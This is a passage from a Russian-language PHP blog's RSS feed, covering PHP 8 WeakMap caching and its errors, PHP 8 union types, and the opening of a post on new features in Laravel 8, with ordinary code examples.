// }</code></pre><p>&nbsp; Т.е. по сути Слабые ссылки это способ сказать:&nbsp;</p><blockquote>Я бы предпочел отслеживать это, но если это кажется бесполезным, не храните его только из-за меня</blockquote><p>Будет больше смысла увидеть это в более-менее рабочем действии. Предположим, у вас есть серия&nbsp;<span style="font-size: 1rem;">объектов</span>&nbsp;Product, написанных кем-то там еще в какой-то там библиотеке. Вы не можете их изменить, но вы собираетесь их использовать.</p><p>Для каждого из Product вы хотите отслеживать дополнительную информацию, которой нет в исходном объекте, например список&nbsp;<span style="font-size: 1rem;">объектов</span>&nbsp;Review в этом продукте. Создание подклассов Product для включения обзоров возможно, но беспорядочно, и при наследовании часто можно столкнуться с проблемами при попытке объединить несколько модулей вместе.</p><p>Вместо этого мы создадим отдельный&nbsp;<span style="font-size: 1rem;">объект&nbsp;</span>ReviewList, содержащий слабую карту&nbsp;<span style="font-size: 1rem;">объектов</span>&nbsp;Review, лениво загружая их по мере необходимости и отслеживая их Product. Как только Product удаляется из памяти, и соотвественно все переменные, которые на него ссылаются, выходят из области видимости, нам не нужно хранить все эти&nbsp;<span style="font-size: 1rem;">объекты</span>&nbsp;Review. WeakMap в этом случае действует как самоочищающийся кеш и работает аналогично ArrayObject.</p><p><br></p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">&lt;?php
class ReviewList
{
    private WeakMap $cache;

    public function __construct()
    {
        $this-&gt;cache = new WeakMap();
    }

    public function getReviews(Product $prod): string
    {
        return $this-&gt;cache[$prod] ??= $this-&gt;findReviews($prod-&gt;id());
    }

    protected function findReviews(int $prodId): array
    {
        // получение обзоров продукта
    }
}


$reviewList = new ReviewList();
$prod1 = getProduct(1);
$prod2 = getProduct(2);

$reviewsP1 = $reviewList-&gt;getReviews($prod1);
$reviewsP1 = $reviewList-&gt;getReviews($prod2);

// ...

$reviewsP1Again = $reviewList-&gt;getReviews($prod1);

unset($prod1);</code></pre><p>&nbsp;В этом примере ReviewList есть внутренний «слабый кеш», с ключом&nbsp;<span style="font-size: 1rem;">объектов&nbsp;</span>Product. Когда&nbsp;<span style="font-size: 1rem;">вызывается&nbsp;</span>getReviews(), если желаемое значение уже находится в кеше, оно будет возвращено. Если нет, он будет загружен в память, сохранен в&nbsp;<span style="font-size: 1rem;">кеше&nbsp;</span>WeakMap и затем возвращен. (Здесь&nbsp;<span style="font-size: 1rem;">есть</span>&nbsp;??=&nbsp; - "Оператор присваивания значения NULL", представленный в&nbsp;<a href="https://sergeymukhin.com/blog/novoe-v-php-74" target="_blank">PHP 7.4</a>, и является исключительно четким именно для такого рода случаев.) Позже, когда мы создадим $reviewsP1Again, значение будет вместо этого искаться в кэше.</p><p>Однако в какой-то момент в будущем мы уничтожим $prod1 - unset($prod1). Обычно это не выполняется вручную, но переменная выходит за пределы области видимости и собирает мусор. Поскольку обычных ссылок на объект product 1 больше нет, ссылка на этот объект в $cache Weak Map будет удалена автоматически. Это также приведет Review к автоматической очистке соответствующего списка объектов. Память сохранена, и дальнейшая работа не требуется. Это «Just Works!».<br></p><p>Если вы попытаетесь сделать то же самое с обычным массивом, возникнут две проблемы:<br></p><ul><li>Массивы не могут использовать объекты в качестве ключей, поэтому необходимо исключить идентификатор продукта или что-то подобное.<br></li><li>Это означает, что кеш не будет знать, что нужно обрезать себя, когда объект, для которого он используется, собирает мусор. Возможно, вам удастся реализовать сложную логику, используя деструкторы, глобальные переменные и прочую черную магию, но… пожалуйста, не делайте этого. Шансы ошибиться высоки, а уровень сложности, который он привносит, того не стоит.</li></ul><p>Подобные сценарии кеширования действительно являются единственным надежным вариантом использования WeakMap, но когда вам это нужно, это будет большая экономия памяти и кода.</p><h2>Замечания по WeakMap</h2><h3>Ключи WeakMap должны быть объектами</h3><p>Слабые карты допускают только объекты в качестве ключей , а связанные допускают произвольные значения. Попытка сохранить любой другой тип данных в качестве ключа вызовет ошибку типа.</p><p><br></p><pre class="line-numbers"><code class="language-php">$map = new WeakMap();
$map['Foo'] = 'Bar';

// Fatal error: Uncaught TypeError: WeakMap key must be an object in ...:...</code></pre><p>Добавление к WeakMap также не допускается.&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">$map = new WeakMap();
$map[] = 'Baz';

// Fatal error: Uncaught Error: Cannot append to WeakMap in ...:...</code></pre><h3>Error на несуществующих ключах&nbsp;</h3><p>Если запрошенный объект не существует в&nbsp;<span style="font-size: 1rem;">объекте&nbsp;</span>WeakMap, создается исключение&nbsp;<span style="font-size: 1rem;">\Error</span>.</p><p><br></p><pre class="line-numbers"><code class="language-php">$map = new WeakMap();
$map[new stdClass()];

// Fatal error: Uncaught Error: Object stdClass#2 not contained in WeakMap in ...:...</code></pre><p>Этого можно избежать, проверив индекс на существование.</p><p><br></p><pre class="line-numbers"><code class="language-php">$map = new WeakMap();
isset($map[new stdClass()]); // false</code></pre><h3>WeakMap не разрешает свойства&nbsp;</h3><p><br></p><pre class="line-numbers"><code class="language-php">$map = new WeakMap();
$map-&gt;foo = 'Bar';

// Fatal error: Uncaught Error: Cannot create dynamic property WeakMap::$foo in ...:...</code></pre><h3>WeakMap не поддерживает сериализацию/десериализацию&nbsp;</h3><p>Слабые карты не могут быть сериализованы или десериализованы. Если WeakMap класс объявлен final, это тоже можно изменить.</p><p><br></p><pre class="line-numbers"><code class="language-php">$map = new WeakMap();
serialize($map);

// Fatal error: Uncaught Exception: Serialization of 'WeakMap' is not allowed in ...:...</code></pre><p><br></p><pre class="line-numbers"><code class="language-php">$serialized_str = 'C:7:"WeakMap":0:{}';
unserialize($serialized_str);

// Fatal error: Uncaught Exception: Unserialization of 'WeakMap' is not allowed in ...:...</code></pre><h3>Итерация слабых карт&nbsp;&nbsp;</h3><p>&nbsp;Класс WeakMap реализует&nbsp;<span style="font-size: 1rem;">интерфейс&nbsp;</span>Traversable, его можно использовать итеративно с помощью foreach. Далее WeakMap имплементирует IteratorAggregate, приносящий&nbsp;<span style="font-size: 1rem;">метод</span>&nbsp;WeakMap::getIterator.</p><p><br></p><pre class="line-numbers"><code class="language-php">map = new WeakMap();

$obj1 = new stdClass();
$map[$obj1] = 'Object 1';

foreach ($map as $key =&gt; $value) {
    var_dump($key); // var_dump($obj1)
    var_dump($value); // var_dump('Object 1');
}</code></pre><p>Сам итератор можно извлечь с помощью&nbsp;<span style="font-size: 1rem;">метода&nbsp;</span>getIterator, а возвращаемое значение - это iterable.</p><p><br></p><pre class="line-numbers"><code class="language-php">$map = new WeakMap();

$obj1 = new stdClass();
$map[$obj1] = 'Object 1';

$iterator = $map-&gt;getIterator();

foreach ($iterator as $key =&gt; $value) {
    var_dump($key); // var_dump($obj1)
    var_dump($value); // var_dump('Object 1');
}</code></pre><h2>Влияние на обратную совместимость</h2><p>Слабые карты - это новая функция в PHP 8.0, и, т.к. в глобальном пространстве имен нет класса с именем&nbsp;<span style="font-size: 1rem;">WeakMap</span>, то и не должно возникнуть никаких проблем при обновлении существующей базы кода до PHP 8.0.</p><p>Поскольку WeakMap это внутренний класс, эту функцию нельзя перенести на предыдущие версии PHP и заставить ее работать с собственным сборщиком мусора.&nbsp;</p><p>Еще раз благодарим Никиту Попова за&nbsp;<a href="https://wiki.php.net/rfc/weak_maps" target="_blank" style="background-color: rgb(255, 255, 255);">RFC WeakMap</a>.<span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">&nbsp;</span></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/40</guid>
                <pubDate>2020-11-06T05:45:14+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP 8: Объединение типов (Union Types)]]></title>
                <link>https://sergeymukhin.com/blog/php-8-obieedinenie-tipov-union-types</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP 8: Объединение типов (Union Types)</h1><blockquote>PHP прошел долгий путь с типами. Теперь у нас есть скалярные типы, возвращаемые типы, типы допускающие значение NULL и теперь PHP 8.0 будет поддерживать объединение типов (Union Types).</blockquote><p><span style="font-weight: normal;">В версиях до PHP 8.0 вы могли объявить только один тип для свойств, параметров и возвращаемых типов. PHP 7.1 и более поздние версии имеют типы, допускающие значение null, что означает, что вы можете объявить тип с помощью&nbsp;</span><span style="background-color: rgb(255, 255, 255); font-weight: 400;  letter-spacing: 0px;">null</span><span style="background-color: rgb(255, 255, 255); font-weight: 400;  letter-spacing: 0px;">&nbsp;&nbsp;</span><span style="font-weight: normal; letter-spacing: 0px; ">объявления типа, аналогичного </span><span style="letter-spacing: 0px; "><b>?string</b></span><span style="font-weight: normal; letter-spacing: 0px; ">.</span></p><p><span style="font-weight: 400;">Начиная с PHP 8.0, вы можете объявлять более одного типа для аргументов, возвращаемых типов и свойств класса:</span></p><pre class="line-numbers"><code class="language-php">class Example {
    private int|float $foo;
    public function sum(float|int $bar): int|float {
        return $this-&gt;foo + $bar;
    }
}</code></pre><p><span style="font-weight: 400;">Т.е. мы можем теперь более лучше объявлять несколько типов,&nbsp; разделеные знаком вертикальной черты ( | ).</span><br><span style="font-weight: normal;">Подобно типам, применяемым в предыдущих версиях PHP, теперь PHP будет следить за тем, чтобы параметры функции, возвращаемые типы и свойства класса принадлежали одному из типов, объявленных в определении.&nbsp;</span><span style="font-weight: 400;">Все определения типов будут проверяться во время выполнения, поэтому PHP выдаст ошибку, если мы попытаемся передать/вернуть недопустимый тип.</span></p><h2><span style="font-weight: 400;">Типы объединений до PHP 8.0</span></h2><h3><span style="font-weight: 400;">Обнуляемые типы</span></h3><p><span style="font-weight: 400;">В PHP уже есть поддержка типов, допускающих значение null; Вы можете объявить тип как обнуляемый, поставив знак&nbsp;</span><span style="background-color: rgb(255, 255, 255);  letter-spacing: 0px;">?</span><span style="font-weight: 400; letter-spacing: 0px; ">&nbsp;перед типом. Например, если определенное свойство может быть и string или null, вы можете объявить его как </span><span style="letter-spacing: 0px; ">?string</span><span style="font-weight: 400; letter-spacing: 0px; ">. В PHP 8.0 такая запись типов </span><span style="letter-spacing: 0px; ">string|null</span><span style="font-weight: 400; letter-spacing: 0px; "> будет функционально эквивалентен </span><span style="letter-spacing: 0px; "><b>?string</b></span><span style="font-weight: 400; letter-spacing: 0px; ">.</span></p><h3>Тип iterable</h3><p>Существует также&nbsp;<span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">псевдотип</span><span style="letter-spacing: 0px; font-family: var(--bff);">&nbsp;<b>iterable</b>, который функционально эквивалентен array|Traversable.</span></p><h3>Комментарии PHPDoc</h3><p>В стандарте PHPDoc была поддержка Union Types. Вы могли использовать комментарий PHPDoc для объявления типов, разрешенных для определенного блока кода:</p><pre class="line-numbers"><code class="language-php">class Example {  

 /**  
  * @var int|float  
  */  
  private $foo;  

  /**  
   * @param int|float $bar  
   * @return int|float  
   */  
  public function sum(int $bar): int {  
    return $this-&gt;foo + $bar;  
  }
 }</code></pre><p>&nbsp;</p><h2>Типы объединений в PHP 8.0</h2><p>Начиная с PHP 8.0, теперь можно объявлять любое количество произвольных типов для свойств, аргументов и возвращаемых типов. Есть несколько исключений, которые не имеют смысла использовать вместе, например string|void.</p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Теперь вы можете полностью избавиться от комментариев&nbsp;</span><span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">PHPDoc типа</span><span style="font-family: var(--bff); letter-spacing: 0px;">&nbsp;@var, @param, и @return в пользу типов, применяемых в самом коде. Это, безусловно, поможет очистить шаблонные комментарии, которые были только потому, что их нельзя было объявить&nbsp;</span><span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">раньше</span><span style="font-family: var(--bff); letter-spacing: 0px;">&nbsp;в коде.</span></p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Существующие типы, допускающие значение NULL, не удаляются и не устаревают. Вы можете продолжать использовать <b>?string</b> в качестве сокращения для string|null.</span><br></p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Тип iterable тоже не убрали и будет функционально равен array|Traversable.</span><br></p><p><span style="letter-spacing: 0px; font-family: var(--bff);">В RFC далее объясняются некоторые ограничения и другие улучшения для типов Union:</span></p><h3>Не разрешен тип void</h3><p>В PHP уже есть поддержка типа void. Он разрешен только как возвращаемый тип, потому что использование void в другом месте не имеет никакого смысла.&nbsp;<span style="letter-spacing: 0px; font-family: var(--bff);">Либо функция не должна возвращать никакого значения, либо вызывать <b>return</b> без указания значения.</span></p><p>В PHP 8.0 Union Types нельзя комбинировать тип&nbsp;<span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">void&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff);">с любым другим типом.&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff);">Например, не допускается следующее:</span></p><pre class="line-numbers"><code class="language-php">function foo(): void|null {}</code></pre><h3 style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); font-family: var(--hff); letter-spacing: normal;"><br></h3><h3 style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); font-family: var(--hff); letter-spacing: normal;">Специальный&nbsp;<span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">тип&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff);">false</span></h3>
<p>В Ядре PHP и в многих старых библиотеках <b>return false</b> указывает на отрицательный результат.&nbsp;<span style="font-family: var(--bff); letter-spacing: 0px;">Например, если у вас есть функция, которая загружает использование учетной записи по ее идентификатору, return false может указывать на то, что пользователь не существует.</span></p><p>Чтобы помочь принятию типов объединения, разрешено использовать false как часть типов объединения:</p><pre class="line-numbers"><code class="language-php">public function getUser(int $id): User|false {
     //...
}</code></pre><p>Есть несколько основных функций PHP, которые также следуют тому же шаблону. Например, функция&nbsp;<b>strpos()</b> Возвращает <b>int</b> позицию первого вхождения подстроки или <b>false</b> если ничего не было найдено:</p><pre class="line-numbers"><code class="language-php">strpos(string $haystack, string $needle, int $offset = 0): int|false</code></pre><p>Итак, что нужно учитывать:</p><ul><li><b>false</b> нельзя использовать как самостоятельный тип. Это означает, что объявление типа как&nbsp;<b>public false $foo</b> не допускается. Вы все еще можете использовать&nbsp;<span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">тип&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff);"><b>bool&nbsp;</b>для этого. (Правка от автора: Начиная с PHP 8.2 разрешено использование </span><a href="https://sergeymukhin.com/blog/php-82-true-false-i-null-kak-samostoiatelnye-tipy" target="_blank" style="letter-spacing: 0px; font-family: var(--bff); font-weight: 400;">false в качестве отдельного типа</a><span style="letter-spacing: 0px; font-family: var(--bff);">)&nbsp;</span></li><li><span style="background-color: rgb(255, 255, 255);">Псевдотип&nbsp;</span><b>false</b> разрешен везде, где разрешены типы: свойства класса, аргументы функций и возвращаемые типы. </li><li>Если&nbsp;<span style="background-color: rgb(255, 255, 255);">используется тип</span>&nbsp;<b>bool</b>, тогда&nbsp;<span style="background-color: rgb(255, 255, 255);"><b>false</b>&nbsp;</span>нельзя использовать в объявлении того же типа.</li></ul><h3>Типы, допускающие значение null (?Type) и null нельзя смешивать</h3><p>Хотя <b>?string</b> это сокращение для string|null, эти два обозначения нельзя смешивать.&nbsp;<span style="font-family: var(--bff); letter-spacing: 0px;">Если ваше объявление типа имеет более одного типа и null, оно должно быть объявлено следующим образом:</span></p><pre class="line-numbers"><code class="language-php">Type1|Type2|null</code></pre><p>И ни в коем случае не должно быть объявлено&nbsp;<span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">двусмысленным объявлением</span><span style="letter-spacing: 0px; font-family: var(--bff);">:</span></p><pre class="line-numbers"><code class="language-php">?Type1|Type2</code></pre><p><br></p><h3>Повторяющиеся типы не допускаются</h3><p>Вы не можете объявить int|int или, int|INT поскольку это по сути одно и то же. Более того запись int|?int тоже не допускается.</p><p>Последнее приведет к синтаксической ошибке, а первое выдаст эту ошибку:</p><pre class="line-numbers"><code class="language-php">Fatal error: Duplicate type ... is redundant in ... on line ...</code></pre><p>&nbsp;</p><h3>Недопустимы избыточные типы</h3><p>Объединенные типы не допускают избыточных типов классов. Однако важно отметить, что это относится только к нескольким специальным типам.</p><ul><li><b>bool|false</b> не допускается, потому что <b>false</b> это тоже тип <b>bool</b></li><li><b>object</b> нельзя использовать с именем класса, потому что все объекты класса тоже имеют тип <b>object</b></li><li><b>iterable</b> нельзя использовать с <b>array</b> или <b>Traversable</b> потому что <b>iterable</b> это уже тип объединения <b>array|Traversable</b>.</li><li>Имена классов можно использовать, даже если одно расширяет другое.</li></ul><p>Поскольку объявления&nbsp;объединенных типов проверяются во время компиляции, при использовании родительского класса и дочернего класса в объединении не возникнет ошибок, поскольку для этого потребуется разрешение иерархии классов.</p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Вот некоторые примеры ошибок:</span></p><pre class="line-numbers"><code class="language-php">function foo(): bool|false {} // Fatal error: Duplicate type false is redundant in ... on line ...
function foo(): DateTime|object {} // Fatal error: Type DateTime|object contains both object and a class type, which is redundant in ... on line ...
function foo(): iterable|array {} // Fatal error: Type iterable|array contains both iterable and array, which is redundant in ... on line ...</code></pre><p><span style="letter-spacing: 0px; font-family: var(--bff);">А вот такая запись вполне пройдет:</span></p><pre class="line-numbers"><code class="language-php">class A{}
class B extends A{}
function foo(): A|B {}</code></pre><p><span style="letter-spacing: 0px; font-family: var(--bff);"><br></span></p><h3>Типовая дисперсия</h3><p>Дисперсия Union Types следует принципу&nbsp;<a href="https://en.wikipedia.org/wiki/Liskov_substitution_principle" target="_blank">LSP</a>&nbsp;(SOLID). Это делается для того, чтобы все подклассы и реализации интерфейса не изменяли поведение программы и по-прежнему придерживались контракта. Это применяется в PHP даже без Union Types.&nbsp;</p><ul><li><span style="letter-spacing: 0px; font-family: var(--bff);"><b>Параметр является контрвариантным</b>: типы могут быть расширены с помощью супертипа.</span></li><li><b>Типы возвращаемых значений являются ковариантными</b>: типы могут быть ограничены подтипом.</li><li><b>Инвариантные типы свойств</b>: типы не могут быть изменены на подтип или супертип.</li></ul><h3>bool и false</h3><p>В объединенных типах PHP считается <b>false</b> подтипом&nbsp;<b>bool</b>. Это позволяет варьировать следующим образом:</p><pre class="line-numbers"><code class="language-php">class FooParent {
    public function foo(int|false $a): int|bool {}
}

class FooChild extends FooParent{
    public function foo(int|bool $b): int|false {}  
}</code></pre><p><br></p><p></p><h3>Влияние обратной совместимости<span style="letter-spacing: 0px; font-family: var(--bff);">&nbsp;&nbsp;<br></span></h3>Union Types - это новая функция в PHP, и ее новый синтаксис не нарушает существующие функции. Поскольку это изменение синтаксиса в движке, эту функциональность нельзя перенести в более старые версии с помощью полифилов.<br><p></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/86</guid>
                <pubDate>2020-09-13T04:42:54+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Что нового в Laravel 8.0]]></title>
                <link>https://sergeymukhin.com/blog/chto-novogo-v-laravel-80</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Что нового в Laravel 8.0</h1><blockquote>Laravel 8 будет включать в себя несколько приятных новых дополнений, включая улучшенный режим обслуживания, а также еще несколько более крупных функций, которые еще не были объявлены</blockquote><p><a href="https://laravel.com/docs/8.x/releases" target="_blank">Laravel 8 теперь выпущен</a> и включает в себя множество новых функций, включая Laravel Jetstream, каталог моделей, классы фабрики моделей, сжатие миграции, улучшения, ограничивающие скорость, помощники по тестированию времени, динамические компоненты лезвий и многие другие функции.</p><p>Начиная с Laravel 6, фреймворк перешел на семантическое управление версиями и следует назначенному <a href="https://laravel-news.com/laravel-releases" target="_blank" style="background-color: rgb(255, 255, 255);">процессу выпуска</a>. Это означает, что каждые 6 месяцев выпускается новый выпуск с первым номером (6.0, 7.0, 8.0 и т.д.), а между ними - выпуски исправлений.<br></p><p><span style="color: rgb(33, 37, 41); font-size: 1rem;">Возможность тестирования views и компоненты Blade по отдельности ( </span><a href="https://github.com/laravel/framework/pull/31378" target="_blank" style="background-color: rgb(255, 255, 255); font-size: 1rem;">#31378</a><span style="color: rgb(33, 37, 41); font-size: 1rem;"> и </span><a href="https://github.com/laravel/framework/pull/32601" target="_blank" style="background-color: rgb(255, 255, 255); font-size: 1rem;">#32601</a><span style="color: rgb(33, 37, 41); font-size: 1rem;"> )</span><br></p><ul><li>Классы Collection, Arr и Macroable получат свой собственный пакет ( <a href="https://github.com/laravel/framework/pull/32478" target="_blank">#32478</a> , <a href="https://github.com/laravel/framework/pull/32481" target="_blank">#32481</a> , <a href="https://github.com/laravel/framework/pull/32510" target="_blank">#32510</a> и <a href="https://github.com/laravel/framework/pull/33108" target="_blank">#33108</a> )</li><li>Команда дампа схемы -&nbsp;php artisan schema:dump (<a href="https://github.com/laravel/framework/pull/32275" target="_blank"> #32275</a> )</li><li>Поддержка каталога Eloquent Model - app/Models (<a href="https://github.com/laravel/framework/pull/33390" target="_blank"> #33390</a> )</li><li>Улучшенный режим обслуживания (шаблоны, список разрешений, редиректы и код состояния, <a href="https://github.com/laravel/framework/pull/33560" target="_blank">#33560</a> )</li><li>Больше не перезапускать встроенный веб-сервер при обновлении .env ( <a href="https://twitter.com/taylorotwell/status/1283069985062113280" target="_blank">твит</a> )</li><li>Улучшение компонентов Blade, правильное наследование родительских атрибутов ( <a href="https://github.com/laravel/framework/pull/32576" target="_blank">#32576</a> )</li><li>Улучшения метода&nbsp;dispatchNow ( <a href="https://github.com/laravel/framework/pull/32559" target="_blank">#32559</a> )</li><li>Заполнение базы данных после обновления ( <a href="https://github.com/laravel/framework/pull/32485" target="_blank">#32485</a> )</li><li>Разрешить кастомные ссылки для сброса пароля через обратный вызов ( <a href="https://github.com/laravel/framework/pull/33438" target="_blank">#33438</a> )</li><li>Улучшения ограничения скорости (<a href="https://github.com/laravel/framework/pull/32726" target="_blank"> #32726</a> )</li><li>Кэшировать маршруты с замыканием ( <a href="https://twitter.com/taylorotwell/status/1277673096548364290" target="_blank">твит</a> )</li><li>Поддержка необработанного HTML в компонентах Blade ( <a href="https://github.com/laravel/framework/pull/33365" target="_blank">#33365</a> )</li><li>Улучшения в именовании конфигураций очередей ( <a href="https://github.com/laravel/framework/pull/32728" target="_blank">#32728</a> и <a href="https://github.com/laravel/framework/pull/32809" target="_blank">#32809</a> )</li><li>Поддержка замыканий в методе Eloquen with() (<a href="https://github.com/laravel/framework/pull/32924" target="_blank"> #32924</a> )</li><li><strike>Удаление свойства $dates у моделей Eloquent</strike> ( <a href="https://github.com/laravel/framework/pull/32856" target="_blank">#32856</a>&nbsp;- <a href="https://github.com/laravel/framework/commit/2bcb1e477484c1f5a203e3517a93174b155c0302" target="_blank">отменено</a> )</li><li>Поддержка пакетной обработки заданий (<a href="https://github.com/laravel/framework/pull/32830" target="_blank"> #32830</a> , <a href="https://github.com/laravel/framework/pull/33173" target="_blank">#33173</a> , <a href="https://github.com/laravel/framework/pull/32974" target="_blank">#32974</a> и <a href="https://github.com/laravel/framework/pull/32967" target="_blank">#32967</a> )</li><li>Поддержка вызова firstOrNew/firstOrCreate без параметров (<a href="https://github.com/laravel/framework/pull/33334" target="_blank"> #33334</a> )</li><li>Поддержка замыканий в слушателях очередей ( <a href="https://github.com/laravel/framework/pull/33463" target="_blank">#33463</a> )</li><li>Обработка сбоев заданий замыканий очереди ( <a href="https://twitter.com/taylorotwell/status/1276267145433944064" target="_blank">твит</a> )</li></ul><h2>Laravel Jetstream</h2><p><a href="https://github.com/laravel/jetstream" target="_blank">Laravel Jetstream</a> улучшает существующий Laravel UI. Он обеспечивает отправную точку для новых проектов, включая вход в систему, регистрацию, проверку электронной почты, двухфакторную аутентификацию, управление сеансами, поддержку API через Laravel и управление командой.</p><h2>Папка Models</h2><p>Скелет приложения Laravel 8 включает папку<span style="font-size: 1rem;">&nbsp;</span>app/Models. Все команды генератора предполагают, что модели существуют в app/Models; однако, если этот каталог не существует, структура будет считать, что приложение хранит модели в app/.</p><h2>Классы фабрики моделей</h2><p>Начиная с Laravel 8, теперь, фабрики моделей Eloquent основаны на классах, с улучшенной поддержкой отношений между фабриками (т.е. у пользователя много постов). Думаю, вы согласитесь, насколько хорош новый синтаксис для создания записей с помощью новых и улучшенных фабрик моделей:</p><p><br></p><pre class="line-numbers"><code class="language-php">use App\Models\User;

User::factory()-&gt;count(50)-&gt;create();

// using a model state "suspended" defined within the factory class
User::factory()-&gt;count(5)-&gt;suspended()-&gt;create();</code></pre><h2>Сжатие миграции</h2><p>Если ваше приложение содержит много файлов миграции, теперь вы можете сжать их в один файл SQL. Этот файл будет выполняться первым при запуске миграции, а затем все оставшиеся файлы миграции, которые не являются частью файла сжатой схемы. Сжатие существующих миграций может уменьшить количество файлов миграции и, возможно, повысить производительность при выполнении тестов.</p><h2>Улучшенное ограничение скорости</h2><p>Laravel 8 вносит улучшения в существующие функции ограничения скорости, поддерживая обратную совместимость с существующим throttle middleware и предлагая гораздо большую гибкость. В Laravel 8 есть концепция ограничителей скорости, которые вы можете определить через фасад:</p><p><br></p><pre class="line-numbers"><code class="language-php">use Illuminate\Support\Facades\RateLimiter;

RateLimiter::for('global', function (Request $request) {
    return Limit::perMinute(1000);
});</code></pre><p>Как видите&nbsp;<span style="font-size: 1rem;">метод</span>&nbsp;for() принимает экземпляр HTTP-запроса, что дает вам полный контроль над динамическим ограничением запросов.</p><h2>Помощники по тестированию времени</h2><p>Пользователи Laravel получили полный контроль над изменением времени с помощью превосходной библиотеки Carbon PHP. Laravel 8 делает еще один шаг вперед, предоставляя удобные помощники по тестированию для управления временем внутри тестов:</p><p><br></p><pre class="line-numbers"><code class="language-php">// Travel into the future...
$this-&gt;travel(5)-&gt;milliseconds();
$this-&gt;travel(5)-&gt;seconds();
$this-&gt;travel(5)-&gt;minutes();
$this-&gt;travel(5)-&gt;hours();
$this-&gt;travel(5)-&gt;days();
$this-&gt;travel(5)-&gt;weeks();
$this-&gt;travel(5)-&gt;years();

// Travel into the past...
$this-&gt;travel(-5)-&gt;hours();

// Travel to an exact time...
$this-&gt;travelTo(now()-&gt;subHours(6));

// Return back to the present time...
$this-&gt;travelBack();</code></pre><p>При использовании этих методов время будет сбрасываться между каждым тестом.</p><h2>Компоненты Dynamic Blade</h2><p>Иногда вам нужно динамически визуализировать blade-компонент во время выполнения. Laravel 8 предоставляет&nbsp;<span style="font-size: 1rem;">компонент для рендеринга&nbsp;</span>&lt;x-dynamic-component/&gt;:</p><p><br></p><pre class="line-numbers"><code class="language-html">&lt;x-dynamic-component :component="$componentName" class="mt-4" /&gt;</code></pre><h2>Пакетирование заданий</h2><p>Функция пакетной обработки заданий Laravel позволяет вам легко выполнять пакет заданий, а затем выполнять некоторые действия, когда пакет заданий завершился.</p><p>Новый&nbsp;<span style="font-size: 1rem;">метод&nbsp;</span><span style="font-size: 1rem;">фасада&nbsp;</span><span style="font-size: 1rem;">Bus</span><span style="font-size: 1rem;">&nbsp;</span>batch() может использоваться для отправки пакета заданий. Конечно, пакетирование в первую очередь полезно в сочетании с обратными вызовами завершения. Таким образом, вы можете использовать&nbsp;<span style="font-size: 1rem;">методы&nbsp;</span>then, catch и finally&nbsp; для определения завершения обратного вызова для партии. Каждый из этих обратных вызовов получит экземпляр при вызове: Illuminate\Bus\Batch</p><p><br></p><pre class="line-numbers"><code class="language-php">use App\Jobs\ProcessPodcast;
use App\Podcast;
use Illuminate\Bus\Batch;
use Illuminate\Support\Facades\Batch;
use Throwable;

$batch = Bus::batch([
    new ProcessPodcast(Podcast::find(1)),
    new ProcessPodcast(Podcast::find(2)),
    new ProcessPodcast(Podcast::find(3)),
    new ProcessPodcast(Podcast::find(4)),
    new ProcessPodcast(Podcast::find(5)),
])-&gt;then(function (Batch $batch) {
    // All jobs completed successfully...
})-&gt;catch(function (Batch $batch, Throwable $e) {
    // First batch job failure detected...
})-&gt;finally(function (Batch $batch) {
    // The batch has finished executing...
})-&gt;dispatch();

return $batch-&gt;id;</code></pre><h2>Улучшенный режим обслуживания</h2><p>В предыдущих выпусках Laravel php artisan down функцию режима обслуживания можно было обойти с помощью «разрешенного списка» IP-адресов, которым был разрешен доступ к приложению. Эта функция была удалена в пользу более простого решения «secret»/token.</p><p>Находясь в режиме обслуживания, вы можете использовать&nbsp;<span style="font-size: 1rem;">опцию</span>&nbsp;secret для указания токена обхода режима обслуживания:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">php artisan down --secret="1630542a-246b-4b66-afa1-dd72a4c43515"</code></pre><p>После перевода приложения в режим обслуживания вы можете перейти к URL-адресу приложения, соответствующему этому токену, и Laravel выдаст вашему браузеру файл cookie обхода режима обслуживания:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">https://example.com/1630542a-246b-4b66-afa1-dd72a4c43515</code></pre><h2>Замыкание&nbsp;Dispatch/Chain</h2><p>Используя новый&nbsp;<span style="font-size: 1rem;">метод</span>&nbsp;catch, теперь вы можете предоставить замыкание, которое должно быть выполнено, если замыкание в очереди не может быть успешно завершено после исчерпания всех настроенных попыток повтора вашей очереди:</p><p><br></p><pre class="line-numbers"><code class="language-php">use Throwable;

dispatch(function () use ($podcast) {
    $podcast-&gt;publish();
})-&gt;catch(function (Throwable $e) {
    // This job has failed...
});</code></pre><h2>Улучшения прослушивателя событий</h2><p>Слушатели событий, основанные на замыкании, теперь могут быть зарегистрированы только путем передачи замыкания&nbsp;<span style="font-size: 1rem;">в метод</span>. Laravel проверит замыкание, чтобы определить, какой тип события обрабатывает слушатель:Event::listen</p><p><br></p><pre class="line-numbers"><code class="language-php">use App\Events\PodcastProcessed;
use Illuminate\Support\Facades\Event;

Event::listen(function (PodcastProcessed $event) {
    //
